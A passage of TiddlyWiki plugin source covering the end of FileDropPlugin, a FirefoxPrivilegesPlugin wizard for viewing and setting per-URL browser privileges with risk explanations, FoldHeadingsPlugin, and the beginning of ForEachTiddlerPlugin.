			while (title && title.length && store.tiddlerExists(title)) {
				if (confirm(config.messages.overwriteWarning.format([title]))) break;
				title=prompt('Enter a new tiddler title',nsiFile.path.replace(/\\/g,'/'));
			}
			if (!title || !title.length) return true; // cancelled
			var text=header.format([nsiFile.path.replace(/\\/g,'/'),now.toLocaleString()]);
			var total=0;
			for (var i=0; i<files.length; i++) { var f=files[i];
				var name=f.leafName;
				if (co.chkFileDropTrimFilename)
					{ var p=name.split('.'); if (p.length>1) p.pop(); name=p.join('.'); }
				var path='file:///'+f.path.replace(/\\/g,'/');
				var size=f.fileSize; total+=size;
				var when=new Date(f.lastModifiedTime).formatString('YYYY.0MM.0DD 0hh:0mm:0ss');
				text+=item.format([name,path,size,when]);
			}
			text+=footer.format([total,files.length]);
			var newtags=co.txtFileDropTags?co.txtFileDropTags.readBracketedList():[];
			store.saveTiddler(null,title,text,co.txtUserName,now,newtags);
			if (co.chkFileDropDisplay) story.displayTiddler(null,title);
			return true;
		}
	}
	if (files.length>1) store.suspendNotifications();
	for (i=0; i<files.length; i++) {
		var file=files[i];
		if (file.isDirectory()) continue; // skip over nested directories
		var type='text/plain';
		var title=file.leafName; // tiddler name is file name
		if (co.chkFileDropTrimFilename)
			{ var p=title.split('.'); if (p.length>1) p.pop(); title=p.join('.'); }
		var name=file.leafName;
		var path=file.path;
		var url='file:///'+path.replace(/\\/g,'/');
		var size=file.fileSize;
		var when=new Date(file.lastModifiedTime);
		var now=new Date();
		var who=config.options.txtUserName;
		var h=document.location.href;
		var cwd=getLocalPath(decodeURIComponent(h.substr(0,h.lastIndexOf('/')+1)));
		var relpath=path.startsWith(cwd)?'./'+path.substr(cwd.length):path;
		while (title && title.length && store.tiddlerExists(title)) {
			if (confirm(config.messages.overwriteWarning.format([title]))) break;
			title=prompt('Enter a new tiddler title',path.replace(/\\/g,'/'));
		}
		if (!title || !title.length) continue; // cancelled
		if (config.macros.attach) {
			type=config.macros.attach.getMIMEType(name,'');
			if (!type.length)
				type=prompt('Unknown file type.  Enter a MIME type','text/plain');
			if (!type||!type.length) continue; // cancelled
		}
		var newtags=co.txtFileDropTags?co.txtFileDropTags.readBracketedList():[];
		if (type=='text/plain' || !co.chkFileDropContent) {
			var txt=''; var fmt=co.txtFileDropLinkFormat.unescapeLineBreaks();
			if (co.chkFileDropLink) txt+=fmt.format([name,url,path,relpath,size,when,now,who]);
			if (co.chkFileDropContent) {
				var out=loadFile(path); var lim=co.txtFileDropDataLimit;
				txt+=co.txtFileDropDataLimit?out.substr(0,lim):out;
				if (size>lim) txt+='\n----\nfilesize ('+size+')'
					+' is larger than FileDrop limit ('+lim+')...\n'
					+'additional content has been omitted';
			}
			store.saveTiddler(null,title,txt,co.txtUserName,now,newtags);
		} else {
			var embed=co.chkFileDropContent
				&& (!co.txtFileDropDataLimit||size<co.txtFileDropDataLimit);
			newtags.push('attachment'); newtags.push('excludeMissing');
			config.macros.attach.createAttachmentTiddler(path,
				now.formatString(config.macros.timeline.dateFormat),
				'attached by FileDropPlugin', newtags, title,
				embed, co.chkFileDropAttachLocalLink, false,
				relpath, '', type,!co.chkFileDropDisplay);
		}
		if (co.chkFileDropDisplay) story.displayTiddler(null,title);
	}
	if (files.length>1) { store.resumeNotifications(); store.notifyAll(); }
	return true;
})
//}}}
order:3
button:f
buttonLong:file this
Book has been read.

order:2
button:f
buttonLong:finished
/***
|''Name''|FirefoxPrivilegesPlugin|
|''Description''|Create a backstage tab to manage Firefox url privileges|
|''Author''|Xavier Verges (xverges at gmail dot com)|
|''Version''|1.1.1 ($Rev$)|
|''Date''|$Date$|
|''Status''|@@beta@@|
|''Source''|http://firefoxprivileges.tiddlyspot.com/|
|''CodeRepository''|http://trac.tiddlywiki.org/browser/Trunk/contributors/XavierVerges/plugins/FirefoxPrivilegesPlugin.js|
|''License''|BSD tbd|
|''CoreVersion''|2.2.4 (maybe 2.2+?)|
|''Feedback''|http://groups.google.com/group/TiddlyWiki|
|''BookmarkletReady''|http://icanhaz.com/firefoxprivileges|
|''Browser''|Mozilla. Tested under Firefox 2.0.0.12 and Firefox 3.0b4|
|''Documentation''|http://firefoxprivileges.tiddlyspot.com/#HowTo|
/%
!Description
!Notes
!Usage
!Revision History
!!v1.0 (2008-03-23)
* First public version
%/
!Usage
The wizard can be opened from the backstage or using the macro {{{<<firefoxPrivileges>>}}}
The step to show when opening the wizard can be set with the {{{txtPrivWizardDefaultStep}}} option: <<option txtPrivWizardDefaultStep>>
!Code
***/
//{{{
if(window.Components) {
config.macros.firefoxPrivileges = {};
config.macros.firefoxPrivileges.lingo = {};
/*
//}}}
!!! Strings to translate
//{{{
*/
merge(config.macros.firefoxPrivileges.lingo ,{
	wizardTitle: "Manage Firefox Privileges",
	learnStepTitle: "1. Learn about the risks of giving privileges to file: urls",
	learnStepHtml: "<h3>Local files</h3><p>Firefox can be configured to grant the same security privileges to every html document loaded from disk (those <i>file:</i> urls), or to grant different privileges on a per file basis. Local TiddyWikis need some high security privileges in order to let you save changes to disk, or to import tiddlers from remote servers. Unfortunately, these same privileges can potentially be used by the bad guys to launch programs, get files from your disk and upload them somewhere, access your browsing history...</p><p>While it is more convenient to let Firefox give all your local files the same security privileges, and I'm not aware of any malware attack that tries to take advantage of privileged <i>file:</i> urls, an ounce of prevention is worth a pound of cure.</p><p>You can learn more about this by reading <a href='http://www.mozilla.org/projects/security/components/per-file.html' class='externalLink'>Per-File Permissions</a> and <a href='http://www.mozilla.org/projects/security/components/signed-scripts.html#privs-list' class='externalLink'>JavaScript Security: Signed Script</a> at mozilla.org.</p><h3>Remote files</h3><p>When a remote document (<i>http:</i> urls) requests especial privileges, Firefox <ul><li>checks the value of <code>signed.applets.codebase_principal_support</code>, a preference that can be configured from the page that is loaded when you type <code>about:config</code> in the address bar</li><li>if the previous value is set to false, Firefox denies silently the request</li><li>if the previous value is set to true, Firefox looks for the document's domain in the list of privileges urls that can be configured from this wizard, and, if not there, asks the user to grant the privilege</li></ul><p>Note that, in this case, and unlike when dealing with local files, Firefox will only take into account the document's domain instead of performing an exact match of the url.</p><p>Take a look at <a href='http://messfromabove.tiddlyspot.com' class='externalLink'>http://messfromabove.tiddlyspot.com</a> to learn more about the nice and nasty possibilities that this setting provides.</p><h3>This Wizard</h3><p>This wizard will help you to grant the required privileges to your TiddlyWikis, local or remote, and warn you if you have enabled a dangerous default. To do so, Firefox will probably prompt you to grant it some special privileges in order to list and modify the list of privileged urls.</p><p>Please note that changing the privileges for an url may not have effect until you reload it in the browser.</p><input type='hidden' name='mark'></input>",
	learnStepButton: "1. Learn about the risks",
	learnStepButtonTooltip: "Learn why 'Remember this' is an unsafe choice in security prompts",
	grantStepTitle: "2. Grant privileges to individual local documents or remote domains",
	grantStepHtml: "Url: <input type='text' size=80 name='txtUrl'><br/><br/><input type='checkbox' checked='true' name='chkUniversalXPConnect'>Grant rights required to save to disk (Run or install software on your machine - UniversalXPConnect)</input><br/><input type='checkbox' checked='true' name='chkUniversalBrowserRead'>Grant rights required to import tiddlers from servers or access TiddlySpot (Read and upload local files - UniversalBrowserRead)</input><br/><input type='checkbox' name='chkUniversalBrowserWrite'>Modify any open window - UniversalBrowserWrite</input><br/><input type='checkbox' name='chkUniversalFileRead'>Read and upload local files - UniversalFileRead</input><br/><input type='checkbox' name='chkCapabilityPreferencesAccess'>By-pass core security settings - CapabilityPreferencesAccess</input><br/><input type='checkbox' name='chkUniversalPreferencesRead'>Read program settings - UniversalPreferencesRead</input><br/><input type='checkbox' name='chkUniversalPreferencesWrite'>Modify program settings - UniversalPreferencesWrite</input><br/><input type='button' class='button' name='btnGrant' value='Set privileges'/>",
	grantStepButton: "2. Set privileges",
	grantStepButtonTooltip: "Manage privileges for this or other docs",
	viewStepTitle: "3. Granted privileges",
	viewStepHtml: "<input type='hidden' name='mark'></input>",
	viewStepButton: "3. View privileges",
	viewStepButtonTooltip: "List granted privileges, and optionally reset them",
	viewStepEmptyMsg: "Asking for temporary privileges to list permanent privileges...",
	listViewTemplate: {
		columns: [
			{name: 'Selected', field: 'Selected', rowName: 'url', type: 'Selector'},
			{name: 'Url', field: 'url', title: "Url", type: 'LongLink'},
			{name: 'Granted', field: 'granted', title: "Granted", type: 'StringList'},
			{name: 'Denied', field: 'denied', title: "Denied", type: 'StringList'},
			{name: 'Handle', field: 'handle', title: "Handle", type: 'String'},
            {name: 'Notes', field: 'notes', title: "Notes", type: 'String'}
			],
		rowClasses: [
			{className: 'lowlight', field: 'highlight'},
			{className: 'error', field: 'warning'}
			]
		},
	listResetButton: "Reset the privileges of the selected urls",
	noteDangerous: "This is dangerous",
	noteNoEffect: "This has no effect",
	noteThisUrl: "This document's url",
	noteTheUrlYouUpdated: "The url you just updated",
	errNoUrl: "The url is required",
	errNotAuthorized: "Not enough privileges. Maybe you are trying this from a tiddlywiki loaded from a server?",
	msgUpdating: "Updating privileges for %0",
	msgSetting: "Setting privileges for %0",
	msgResetting: "Resetting privileges for %0"
});
merge(config.optionsDesc,{
	txtPrivWizardDefaultStep: "Step to show when opening the 'Manage Firefox Privileges' wizard"
});
merge(config.tasks,{
	firefoxPrivileges: {text: "security", tooltip: "Work with Firefox url privileges", content: '<<firefoxPrivileges>>'}
});
/*
//}}}
!!! Regular code
//{{{
*/
config.backstageTasks.pushUnique("firefoxPrivileges");
if (typeof(config.options.txtPrivWizardDefaultStep) === "undefined"){
	config.options.txtPrivWizardDefaultStep = "1";
}

(function(){

var plugin = config.macros.firefoxPrivileges;
var lingo = plugin.lingo;
plugin.privAccessCapabilities = "UniversalXPConnect CapabilityPreferencesAccess";
plugin.stepNames = ["learn", "grant", "view"];
plugin.lastUrl = document.location.toString();

plugin.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
	var wizard = new Wizard();
	wizard.createWizard(place,lingo.wizardTitle);
	var step = parseInt(config.options.txtPrivWizardDefaultStep);
	step = (isNaN(step)||(step<=0)||(step>3))? 0 : step-1;
	plugin.step(wizard, step);
};
plugin.buttons = (function(){
	var onclick = {};
	for (var ii=0; ii<plugin.stepNames.length; ii++) {
		onclick[plugin.stepNames[ii]] = 
			(function() {
				var index = ii;
				var handler = function(e) {
					plugin.step(new Wizard(resolveTarget(e)), index);
					return false;
				};
				return handler;})();
	}
	var getButtons = function(index) {
		var buttons = [];
		for (var ii= 0; ii<plugin.stepNames.length; ii++) {
			if (ii !== index) {
				var name = plugin.stepNames[ii];
				buttons.push({
					onClick: onclick[name],
					caption: lingo[name+"StepButton"],
					tooltip: lingo[name+"StepButtonTooltip"]
				});
			}
		}
		return buttons;
	};
	return getButtons;
})();
plugin.step = function(wizard, stepIndex, extraParams)
{
	var name = plugin.stepNames[stepIndex];
	var stepResult = {};
	wizard.addStep(lingo[name+"StepTitle"],lingo[name+"StepHtml"]);
	wizard.setButtons(plugin.buttons(stepIndex));
	if (plugin[name+"StepProcess"]) {
		plugin[name+"StepProcess"](wizard, extraParams);
	}
};
plugin.getMarkedDiv = function(wizard)
{
	var mark = wizard.getElement("mark");
	var div = document.createElement("div");
	mark.parentNode.insertBefore(div,mark);
	return div;
};
plugin.learnStepProcess = function(wizard)
{
	var src = config.optionsDesc.txtPrivWizardDefaultStep + ": <<option txtPrivWizardDefaultStep>>";
	wikify(src, plugin.getMarkedDiv(wizard));
}
plugin.grantStepProcess = function(wizard)
{
	wizard.getElement("btnGrant").onclick = plugin.btnSetPrivileges;
	wizard.getElement("txtUrl").value = plugin.lastUrl;
};
plugin.viewStepProcess = function(wizard, extraParams)
{
	var listWrapper = plugin.getMarkedDiv(wizard);
	listWrapper.innerHTML = lingo.viewStepEmptyMsg;

	var html = [];
	try {
		if (!extraParams || extraParams.reqAcccess) {
			netscape.security.PrivilegeManager.enablePrivilege(plugin.privAccessCapabilities);
		}

		var thisUrl = document.location.toString();
		var privs = plugin.getPrivilegedUrls(false);
		var listItems = [];
		for (var handle in privs) {
			if (privs.hasOwnProperty(handle)) {
				var priv = privs[handle];
				if ((priv.url === "file://") ||
					(priv.url.indexOf(" ") !== -1)) {
					priv.warning = true;
					priv.notes = (priv.url === "file://")? lingo.noteDangerous:lingo.noteNoEffect;
				} else if ((priv.url === thisUrl) || 
				           (priv.url === plugin.lastUrl)) {
					priv.highlight = true;
					priv.notes = (priv.url === thisUrl)? lingo.noteThisUrl:lingo.noteTheUrlYouUpdated;
				} 
				listItems.push(priv);
			}
		}
		var sortFunc = function(a,b) {
			if(a.url > b.url) {return 1;}
			if(a.url < b.url) {return -1;}
			return 0;
		};
		listItems.sort(sortFunc);
		listWrapper.innerHTML = "";
		var listView = ListView.create(listWrapper, listItems, lingo.listViewTemplate);
		wizard.setValue("listView",listView);

		createTiddlyButton(listWrapper, lingo.listResetButton, "", plugin.btnResetPrivileges);
	} catch (ex) {
		listWrapper.innerHTML = "Error: " + ex;
	}
};
plugin.btnSetPrivileges = function(ev)
{
	var wizard = new Wizard(this);
	var checkboxes = wizard.bodyElem.getElementsByTagName("input");
	var grant = [];
	for(var t=0; t<checkboxes.length; t++) {
		var cb = checkboxes[t];
		if((cb.getAttribute("type") === "checkbox")&&cb.checked) {
			grant.push(cb.name.substring(3));
		}
	}
	var url = wizard.getElement("txtUrl").value;
	if (!url) {
		alert(lingo.errNoUrl);
	} else {
		plugin.lastUrl = url;
		var viewStepExtraParams = {reqAcccess: false};
		var gotPrivileges = false;
		try {
			netscape.security.PrivilegeManager.enablePrivilege(config.macros.firefoxPrivileges.privAccessCapabilities);
			gotPrivileges = true;
		} catch(ex) {}
		if (gotPrivileges) {
			plugin.setUrlPrivilege(false, url, grant, false);
			plugin.step(wizard, 2, viewStepExtraParams);
		} else {
			alert(lingo.errNotAuthorized);
		}
	}
	return false;
};
plugin.btnResetPrivileges = function(ev)
{
	var wizard = new Wizard(this);
	var listView = wizard.getValue("listView");
	var urls = ListView.getSelectedRows(listView);
	if(urls.length === 0) {
		alert(config.messages.nothingSelected);
	} else {
		netscape.security.PrivilegeManager.enablePrivilege(config.macros.firefoxPrivileges.privAccessCapabilities);
		for (var ii=0; ii<urls.length; ii++) {
			plugin.setUrlPrivilege(false, urls[ii], [], true);
		}
		plugin.step(wizard, 2, {reqAcccess: false});
	}
	return false;
};
plugin.setUrlPrivilege = function(reqAccess, url, rights, reset)
{
	function getFreeHandle(dict, prefix) {
		var handle = prefix;
		var ii = 0;
		while("undefined" !== typeof(dict[handle])) {
			ii++;
			handle = prefix + ii;
		}
		return handle;
	}
	if (reqAccess) {
		netscape.security.PrivilegeManager.enablePrivilege(plugin.privAccessCapabilities);
	}
	var isUpdate = true;
	var urlHandle = "";
	var urls = plugin.getPrivilegedUrls(false);
	for (var handle in urls) {
		if (urls[handle].url === url) {
			urlHandle = handle;
			break;
		}
	}
	var denied = [];
	var granted = [];
	if (urlHandle) {
		if (!reset) {
			displayMessage(lingo.msgUpdating.format([url]), url);
			denied = urls[urlHandle].denied.slice();
			granted = urls[urlHandle].granted.slice();
		} else {
			displayMessage(lingo.msgResetting.format([url]), url);
		}
	} else {
		displayMessage(lingo.msgSetting.format([url]), url);
		urlHandle = getFreeHandle(urls, "FirefoxPrivilegesPlugin");
		isUpdate = false;
	}
	for (var ii=0; ii<rights.length; ii++) {
		denied.remove(rights[ii]);
		granted.pushUnique(rights[ii]);
	}
	var prefs = plugin.getPrefsBranch();
	var idStr = urlHandle + ".id";
	var deniedStr = urlHandle + ".denied";
	var grantedStr = urlHandle + ".granted";
	function clearPref(str) {
		if (prefs.prefHasUserValue(str)) {
			prefs.clearUserPref(str);
		}
	}
	function setOrClearPref(str, val) {
		if (val.length) {
			val = ("string" === typeof(val))? val : val.join(" ");
			prefs.setCharPref(str, val);
			// why oh why?!
			if (!prefs.prefHasUserValue(str)) {
				prefs.setCharPref(str, val);
			}
		} else {
			clearPref(str);
		}
	}
	if (!denied.length && !granted.length) {
		prefs.deleteBranch(urlHandle + ".");
	} else {
		setOrClearPref(idStr, url);
		setOrClearPref(deniedStr, denied);
		setOrClearPref(grantedStr , granted);
		setOrClearPref(idStr, url);
	}
	var prefService = plugin.getPrefsService();
	prefService.savePrefFile(null);

	return !isUpdate;
};
plugin.getPrivilegedUrls = function(reqAccess)
{
	function Privileged(url, granted, denied, handle) {
		this.url = url;
		this.granted = granted;
		this.denied = denied;
		this.handle = handle;
	}
	function getPermissions(branch, handle, type) {
		var permissions = [];
		var pref = handle + "." + type;
		if (branch.prefHasUserValue(pref)) {
			permissions = branch.getCharPref(pref).split(/\s+/);
			permissions.sort();
		}
		return permissions;
	}
	var privileged = {};
	if (reqAccess) {
		netscape.security.PrivilegeManager.enablePrivilege(plugin.privAccessCapabilities);
	}
	var prefs = plugin.getPrefsBranch(); 
	var capsEntries = prefs.getChildList("", { value: 0 }); 

	for (var ii=0; ii < capsEntries.length; ii++) 
	{ 
		var matches = capsEntries[ii].match(/([^\.]*)[\.]id/); 
		if (matches && (2 === matches.length)) 
		{ 
			var handle = matches[1];
			var url = prefs.prefHasUserValue(capsEntries[ii])? prefs.getCharPref(capsEntries[ii]) : "Error getting " + capsEntries[ii]; 
			var granted = getPermissions(prefs, handle, "granted");
			var denied = getPermissions(prefs, handle, "denied");
			privileged[handle] = new Privileged(url, granted, denied, handle);
		}
	}
	return privileged;
};
plugin.getPrefsService = function()
{
	return Components.classes["@mozilla.org/preferences-service;1"].getService(Components.interfaces.nsIPrefService);
};
plugin.getPrefsBranch = function()
{
	var prefsService = plugin.getPrefsService();
	return prefsService.getBranch("capability.principal.codebase."); 
};
/*
//}}}
!!! Bookmarklet interface
//{{{
*/
plugin.onload = function()
{
	var b=backstage;
	var bt=createTiddlyButton(b.toolbar, "security"+glyph("downTriangle"), "", b.onClickTab,"backstageTab");
	var fp="firefoxPrivileges";
	bt.setAttribute("task",fp);
	b.switchTab(fp);
};
/*
//}}}
!!! ListView tweak for long urls. http://trac.tiddlywiki.org/ticket/570
//{{{
*/
ListView.columnTypes.LongLink = {
	createHeader: ListView.columnTypes.String.createHeader,
	createItem: function(place,listObject,field,columnTemplate,col,row)
		{
			var v = listObject[field];
			var c = columnTemplate.text;
			if(v != undefined) {
				var link = createExternalLink(place,v);
				if(!c) {
					c = v.replace(/#|\.|\/|(\%..)|\?|\&/g, config.browser.isIE? "$&<wbr>": "$&&#8203;");
					link.innerHTML = c;
				} else {
					createTiddlyText(link, c);
				}
			}
		}
};


})();	// scope hiding

} // endif(window.Components)
//}}}
/***
|Name|FoldHeadingsPlugin|
|Source|http://www.TiddlyTools.com/#FoldHeadingsPlugin|
|Version|1.1.2|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|automatically turn headings into slider-like panels that can be folded/unfolded with a single click|
This plugin defines a macro that automatically converts heading-formatted content into sliders that let you expand/collapse their content by clicking on individual headings.
!!!!!Usage
<<<
{{{
<<foldHeadings opened|closed tag tag tag...>>
}}}
where: ''opened'' or ''closed'' is a keyword indicating the initial state of the sections (default: opened), and ''tag tag tag...'' is an optional list of tags to match, so that the foldable effect is only applied to tiddlers that contain one (or more) of the indicated tags.  

When you place the macro in a tiddler, any heading-formatted content (i.e, "!" through "!!!!!") in that tiddler will automatically become //'fold-able'//, allowing you to expand/collapse the content that follows each heading simply by clicking on that heading.  Each content section begins with the first element following a heading, and continues until either another heading is found or the end of the tiddler is reached.  For example:
{{{
<<foldHeadings closed>>
}}}
is embedded in ''this'' tiddler in order to make all the headings it contains 'fold-able'.  Note that the macro has been placed at the //end// of the tiddler because it only operates on *rendered* content.  Thus, only headings that //precede// it in the same tiddler will become fold-able, as any headings that //follow// it are not actually rendered until //after// the macro has been processed.

You can further limit the effect of the macro within the tiddler by surrounding several headings in a "CSS class wrapper" ("""{{classname{...}}}""") or other containing DOM element (e.g., """@@display:inline;...@@""") and then embedding the {{{<<foldHeadings>>}}} macro inside that container (at the end)... only those headings that are also within that container will be made fold-able, instead of converting ''all'' the headings in that tiddler.

Conversely, if you want the fold-able ability to apply to the headings in //all// tiddlers, ''without having to alter //any// of those individual tiddlers'', you can add the macro to the end of your [[ViewTemplate]], so that it will be invoked after the content in each tiddler has been rendered, causing all headings they contain to automatically become fold-able.  For example:
{{{
<span macro="foldHeadings closed"></span>
}}}
You can also limit this effect to selected tiddlers by specifying one or more tags as additional macro parameters.  For example:
{{{
<span macro="foldHeadings closed [[systemConfig]]"></span>
}}}
is only applied to headings contained in //plugin tiddlers// (i.e., tiddlers tagged with <<tag systemConfig>>), while headings in other tiddlers remain unaffected by the macro, even though it is embedded in the common [[ViewTemplate]] definition.
<<<
!!!!!Revisions
<<<
2009.11.30 [1.1.2] corrected CSS 'text-weight' to 'font-weight'
2009.01.06 [1.1.1] removed hijack of scrollToSection() (see [[SectionLinksPlugin]] for equivalent code)
2008.11.17 [1.1.0] added hijack of 'scrollToSection()' function (see [[CoreTweaks]] and http://trac.tiddlywiki.org/ticket/784)
2007.12.06 [1.0.2] fix handling for empty sections when checking for sliderPanel/floatingPanel
2007.12.02 [1.0.1] fix handling when content following a heading is already a sliderPanel/floatingPanel
2007.12.01 [1.0.0] initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.FoldHeadingsPlugin= {major: 1, minor: 1, revision: 2, date: new Date(2009,11,30)};

config.macros.foldHeadings = {
	guideText: "opened|closed className",
	showtip: "click to show '%0'",
	hidetip: "click to hide '%0'",
	showlabel: "more...",
	hidelabel: "[x]",
	html: "<span style='float:right;font-weight:normal;font-size:80%;' class='TiddlyLinkExisting'>%0&nbsp;</span>",
	handler: function(place,macroName,params) {
		var show=params[0] && params.shift().toLowerCase()!="closed";
		if (params.length) { // if filtering by tag(s)
			var here=story.findContainingTiddler(place);
			if (here) var tid=store.getTiddler(here.getAttribute("tiddler"));
			if (!tid || !tid.tags.containsAny(params)) return; // in a tiddler and not tagged... do nothing...
		}
		var elems=place.parentNode.getElementsByTagName("*");
		var heads=[]; for (var i=0; i<elems.length; i++) { // get non-foldable heading elements
			var n=elems[i].nodeName; var foldable=hasClass(elems[i],"foldable");
			if ((n=="H1"||n=="H2"||n=="H3"||n=="H4"||n=="H5")&&!foldable)
				heads.push(elems[i]);
			}
		for (var i=0; i<heads.length; i++) { var h=heads[i]; // for each heading element...
			// find start/end of section content (up to next heading or end of content)
			var start=end=h.nextSibling; while (end && end.nextSibling) {
				var n=end.nextSibling.nodeName.toUpperCase();
				if (n=="H1"||n=="H2"||n=="H3"||n=="H4"||n=="H5") break;
				end=end.nextSibling;
			}
			if (start && hasClass(start,"sliderPanel")||hasClass(start,"floatingPanel")) continue; // heading is already a slider!
			var span=createTiddlyElement(null,"span",null,"sliderPanel"); // create container
			span.style.display=show?"inline":"none"; // set initial display state
			h.parentNode.insertBefore(span,start); // and insert it following the heading element
			// move section elements into container...
			var e=start; while (e) { var next=e.nextSibling; span.insertBefore(e,null); if (e==end) break; e=next; }
			// set heading label/tip/cursor...
			h.title=(show?this.hidetip:this.showtip).format([h.textContent])
			h.innerHTML=this.html.format([show?this.hidelabel:this.showlabel])+h.innerHTML;
			h.style.cursor='pointer';
			addClass(h,"foldable"); // so we know it been done (and to add extra styles)
			h.onclick=function() {
				var panel=this.nextSibling; var show=panel.style.display=="none";
				// update panel display state
				if (config.options.chkAnimate) anim.startAnimating(new Slider(panel,show));
				else panel.style.display = show?"inline":"none";
				// update heading label/tip
				this.removeChild(this.firstChild); // remove existing label
				var fh=config.macros.foldHeadings; // abbreviation for readability...
				this.title=(show?fh.hidetip:fh.showtip).format([this.textContent])
				this.innerHTML=fh.html.format([show?fh.hidelabel:fh.showlabel])+this.innerHTML;
			}
		}		
	}
}

if (story.scrollToSection) {
Story.prototype.foldheadings_scrollToSection=Story.prototype.scrollToSection;
Story.prototype.scrollToSection=function(title,section) {
	var e=this.foldheadings_scrollToSection.apply(this,arguments);
	// if scrolling to a folded section heading, click to expand it
	if (e && hasClass(e,'foldable') && e.nextSibling.style.display=='none') e.onclick();
}
}
//}}}
// //<<foldHeadings closed>>
/***
|''Name:''|ForEachTiddlerPlugin|
|''Version:''|1.0.8 (2007-04-12)|
|''Source:''|http://tiddlywiki.abego-software.de/#ForEachTiddlerPlugin|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]|
|''Copyright:''|&copy; 2005-2007 [[abego Software|http://www.abego-software.de]]|
|''TiddlyWiki:''|1.2.38+, 2.0|
|''Browser:''|Firefox 1.0.4+; Firefox 1.5; InternetExplorer 6.0|
!Description

Create customizable lists, tables etc. for your selections of tiddlers. Specify the tiddlers to include and their order through a powerful language.

''Syntax:'' 
|>|{{{<<}}}''forEachTiddler'' [''in'' //tiddlyWikiPath//] [''where'' //whereCondition//] [''sortBy'' //sortExpression// [''ascending'' //or// ''descending'']] [''script'' //scriptText//] [//action// [//actionParameters//]]{{{>>}}}|
|//tiddlyWikiPath//|The filepath to the TiddlyWiki the macro should work on. When missing the current TiddlyWiki is used.|
|//whereCondition//|(quoted) JavaScript boolean expression. May refer to the build-in variables {{{tiddler}}} and  {{{context}}}.|
|//sortExpression//|(quoted) JavaScript expression returning "comparable" objects (using '{{{<}}}','{{{>}}}','{{{==}}}'. May refer to the build-in variables {{{tiddler}}} and  {{{context}}}.|
|//scriptText//|(quoted) JavaScript text. Typically defines JavaScript functions that are called by the various JavaScript expressions (whereClause, sortClause, action arguments,...)|
|//action//|The action that should be performed on every selected tiddler, in the given order. By default the actions [[addToList|AddToListAction]] and [[write|WriteAction]] are supported. When no action is specified [[addToList|AddToListAction]]  is used.|
|//actionParameters//|(action specific) parameters the action may refer while processing the tiddlers (see action descriptions for details). <<tiddler [[JavaScript in actionParameters]]>>|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. 'or' means that exactly one of the two alternatives must exist.~~|

See details see [[ForEachTiddlerMacro]] and [[ForEachTiddlerExamples]].

!Revision history
* v1.0.8 (2007-04-12)
** Adapted to latest TiddlyWiki 2.2 Beta importTiddlyWiki API (introduced with changeset 2004). TiddlyWiki 2.2 Beta builds prior to changeset 2004 are no longer supported (but TiddlyWiki 2.1 and earlier, of cause)
* v1.0.7 (2007-03-28)
** Also support "pre" formatted TiddlyWikis (introduced with TW 2.2) (when using "in" clause to work on external tiddlers)
* v1.0.6 (2006-09-16)
** [[Context]] provides "viewerTiddler", i.e. the tiddler used to view the macro. Most times this is equal to the "inTiddler", but when using the "tiddler" macro both may be different.
** Support "begin", "end" and "none" expressions in "write" action
* v1.0.5 (2006-02-05)
** Pass tiddler containing the macro with wikify, context object also holds reference to tiddler containing the macro ("inTiddler"). Thanks to SimonBaird.
** Support Firefox 1.5.0.1
** Internal
*** Make "JSLint" conform
*** "Only install once"
* v1.0.4 (2006-01-06)
** Support TiddlyWiki 2.0
* v1.0.3 (2005-12-22)
** Features: 
*** Write output to a file supports multi-byte environments (Thanks to Bram Chen) 
*** Provide API to access the forEachTiddler functionality directly through JavaScript (see getTiddlers and performMacro)
** Enhancements:
*** Improved error messages on InternetExplorer.
* v1.0.2 (2005-12-10)
** Features: 
*** context object also holds reference to store (TiddlyWiki)
** Fixed Bugs: 
*** ForEachTiddler 1.0.1 has broken support on win32 Opera 8.51 (Thanks to BrunoSabin for reporting)
* v1.0.1 (2005-12-08)
** Features: 
*** Access tiddlers stored in separated TiddlyWikis through the "in" option. I.e. you are no longer limited to only work on the "current TiddlyWiki".
*** Write output to an external file using the "toFile" option of the "write" action. With this option you may write your customized tiddler exports.
*** Use the "script" section to define "helper" JavaScript functions etc. to be used in the various JavaScript expressions (whereClause, sortClause, action arguments,...).
*** Access and store context information for the current forEachTiddler invocation (through the build-in "context" object) .
*** Improved script evaluation (for where/sort clause and write scripts).
* v1.0.0 (2005-11-20)
** initial version

!Code
***/
//{{{

	
//============================================================================
//============================================================================
//		   ForEachTiddlerPlugin
//============================================================================
//============================================================================

// Only install once
if (!version.extensions.ForEachTiddlerPlugin) {

if (!window.abego) window.abego = {};

version.extensions.ForEachTiddlerPlugin = {
	major: 1, minor: 0, revision: 8, 
	date: new Date(2007,3,12), 
	source: "http://tiddlywiki.abego-software.de/#ForEachTiddlerPlugin",
	licence: "[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]",
	copyright: "Copyright (c) abego Software GmbH, 2005-2007 (www.abego-software.de)"
};

// For backward compatibility with TW 1.2.x
//
if (!TiddlyWiki.prototype.forEachTiddler) {
	TiddlyWiki.prototype.forEachTiddler = function(callback) {
		for(var t in this.tiddlers) {
			callback.call(this,t,this.tiddlers[t]);
		}
	};
}

//============================================================================
// forEachTiddler Macro
//============================================================================

version.extensions.forEachTiddler = {
	major: 1, minor: 0, revision: 8, date: new Date(2007,3,12), provider: "http://tiddlywiki.abego-software.de"};

// ---------------------------------------------------------------------------
// Configurations and constants 
// ---------------------------------------------------------------------------

config.macros.forEachTiddler = {
	 // Standard Properties
	 label: "forEachTiddler",
	 prompt: "Perform actions on a (sorted) selection of tiddlers",

	 // actions
	 actions: {
		 addToList: {},
		 write: {}
	 }
};

// ---------------------------------------------------------------------------
//  The forEachTiddler Macro Handler 
// ---------------------------------------------------------------------------

config.macros.forEachTiddler.getContainingTiddler = function(e) {
	while(e && !hasClass(e,"tiddler"))
		e = e.parentNode;
	var title = e ? e.getAttribute("tiddler") : null; 
	return title ? store.getTiddler(title) : null;
};

config.macros.forEachTiddler.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
	// config.macros.forEachTiddler.traceMacroCall(place,macroName,params,wikifier,paramString,tiddler);

	if (!tiddler) tiddler = config.macros.forEachTiddler.getContainingTiddler(place);
	// --- Parsing ------------------------------------------

	var i = 0; // index running over the params
	// Parse the "in" clause
